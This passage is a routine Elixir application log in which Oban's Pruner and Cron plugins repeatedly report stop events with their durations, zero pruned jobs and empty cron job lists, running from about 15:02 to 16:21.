{"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:36.596 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.284 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:06.599 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:36.601 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.287 [info] {"source":"oban","duration":893,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:06.605 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:36.608 [info] {"source":"oban","duration":2582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.289 [info] {"source":"oban","duration":1179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:06.611 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:36.614 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.290 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:06.617 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:36.619 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.291 [info] {"source":"oban","duration":801,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:06.621 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:36.624 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.294 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:06.629 [info] {"source":"oban","duration":2927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:36.632 [info] {"source":"oban","duration":2379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.297 [info] {"source":"oban","duration":740,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:06.634 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:36.637 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.298 [info] {"source":"oban","duration":688,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:06.639 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:36.642 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.300 [info] {"source":"oban","duration":600,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:06.645 [info] {"source":"oban","duration":2539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:36.648 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.301 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:06.650 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:36.656 [info] {"source":"oban","duration":4625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.303 [info] {"source":"oban","duration":853,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:06.659 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:36.669 [info] {"source":"oban","duration":4634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.304 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:06.671 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:36.673 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.305 [info] {"source":"oban","duration":501,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:06.677 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:36.679 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.306 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:06.682 [info] {"source":"oban","duration":2496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:36.684 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.307 [info] {"source":"oban","duration":462,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:06.686 [info] {"source":"oban","duration":1842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:36.689 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.308 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:06.691 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:36.693 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.309 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:06.696 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:36.698 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.320 [info] {"source":"oban","duration":6089,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:06.700 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:36.702 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.322 [info] {"source":"oban","duration":1118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:06.706 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:36.708 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.323 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:06.710 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:36.712 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.324 [info] {"source":"oban","duration":556,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:06.715 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:36.717 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.327 [info] {"source":"oban","duration":908,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:06.719 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:36.721 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.328 [info] {"source":"oban","duration":607,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:06.723 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:36.725 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.329 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:06.727 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:36.730 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.331 [info] {"source":"oban","duration":1057,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:06.732 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:36.735 [info] {"source":"oban","duration":2516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.332 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:06.738 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:36.740 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.333 [info] {"source":"oban","duration":659,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:06.743 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:36.745 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.335 [info] {"source":"oban","duration":775,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:06.749 [info] {"source":"oban","duration":2986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:36.752 [info] {"source":"oban","duration":2170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.337 [info] {"source":"oban","duration":592,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:06.754 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:36.756 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.338 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:06.758 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:36.762 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.342 [info] {"source":"oban","duration":2708,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:06.765 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:36.768 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.343 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:06.770 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:36.773 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.345 [info] {"source":"oban","duration":1298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:06.776 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:36.778 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.346 [info] {"source":"oban","duration":512,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:06.780 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:36.783 [info] {"source":"oban","duration":2598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.348 [info] {"source":"oban","duration":954,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:06.787 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:36.791 [info] {"source":"oban","duration":3296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.349 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:06.794 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:36.797 [info] {"source":"oban","duration":1750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.352 [info] {"source":"oban","duration":1772,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:06.801 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:36.806 [info] {"source":"oban","duration":4018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.355 [info] {"source":"oban","duration":1461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:06.808 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:36.810 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.358 [info] {"source":"oban","duration":1976,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:06.812 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:36.814 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.359 [info] {"source":"oban","duration":750,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:06.817 [info] {"source":"oban","duration":2769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:36.822 [info] {"source":"oban","duration":3098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.362 [info] {"source":"oban","duration":1581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:06.824 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:36.826 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.364 [info] {"source":"oban","duration":735,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:06.829 [info] {"source":"oban","duration":2227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:36.832 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.366 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:06.834 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:36.836 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.367 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:06.838 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:36.840 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.369 [info] {"source":"oban","duration":1464,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:06.843 [info] {"source":"oban","duration":2155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:36.845 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.370 [info] {"source":"oban","duration":643,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:06.848 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:36.851 [info] {"source":"oban","duration":2180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.371 [info] {"source":"oban","duration":822,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:06.856 [info] {"source":"oban","duration":3281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:36.860 [info] {"source":"oban","duration":2754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.373 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:06.864 [info] {"source":"oban","duration":2584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:36.868 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.374 [info] {"source":"oban","duration":574,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:06.872 [info] {"source":"oban","duration":2615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:36.874 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.376 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:06.877 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:36.879 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.377 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:06.881 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:36.883 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.378 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:06.885 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:36.888 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.380 [info] {"source":"oban","duration":1201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:06.892 [info] {"source":"oban","duration":3037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:36.896 [info] {"source":"oban","duration":2822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.381 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:06.899 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:36.902 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.383 [info] {"source":"oban","duration":1131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:06.907 [info] {"source":"oban","duration":4854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:36.911 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.386 [info] {"source":"oban","duration":485,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:06.914 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:36.918 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.388 [info] {"source":"oban","duration":1268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:06.920 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:36.922 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.389 [info] {"source":"oban","duration":818,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:06.924 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:36.926 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.392 [info] {"source":"oban","duration":1021,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:06.928 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:36.932 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.394 [info] {"source":"oban","duration":881,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:06.934 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:36.936 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.397 [info] {"source":"oban","duration":1995,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:06.938 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:36.941 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.398 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:06.943 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:36.945 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.399 [info] {"source":"oban","duration":699,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:06.947 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:36.950 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.401 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:06.952 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:36.956 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.403 [info] {"source":"oban","duration":1247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:06.958 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:36.960 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.404 [info] {"source":"oban","duration":444,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:06.964 [info] {"source":"oban","duration":3237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:36.972 [info] {"source":"oban","duration":7522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.405 [info] {"source":"oban","duration":466,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:06.975 [info] {"source":"oban","duration":2517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:36.980 [info] {"source":"oban","duration":3535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.406 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:06.983 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:36.986 [info] {"source":"oban","duration":2489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.407 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:06.988 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:36.990 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.409 [info] {"source":"oban","duration":604,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:06.993 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:36.998 [info] {"source":"oban","duration":2675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.410 [info] {"source":"oban","duration":591,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:07.001 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:37.003 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.412 [info] {"source":"oban","duration":492,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:07.005 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:37.007 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.413 [info] {"source":"oban","duration":441,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:07.010 [info] {"source":"oban","duration":2714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:37.013 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.414 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:07.015 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:37.017 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.415 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:07.019 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:37.022 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.416 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:07.024 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:37.026 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.417 [info] {"source":"oban","duration":718,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:07.030 [info] {"source":"oban","duration":2581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:37.032 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.419 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:07.035 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:37.037 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.420 [info] 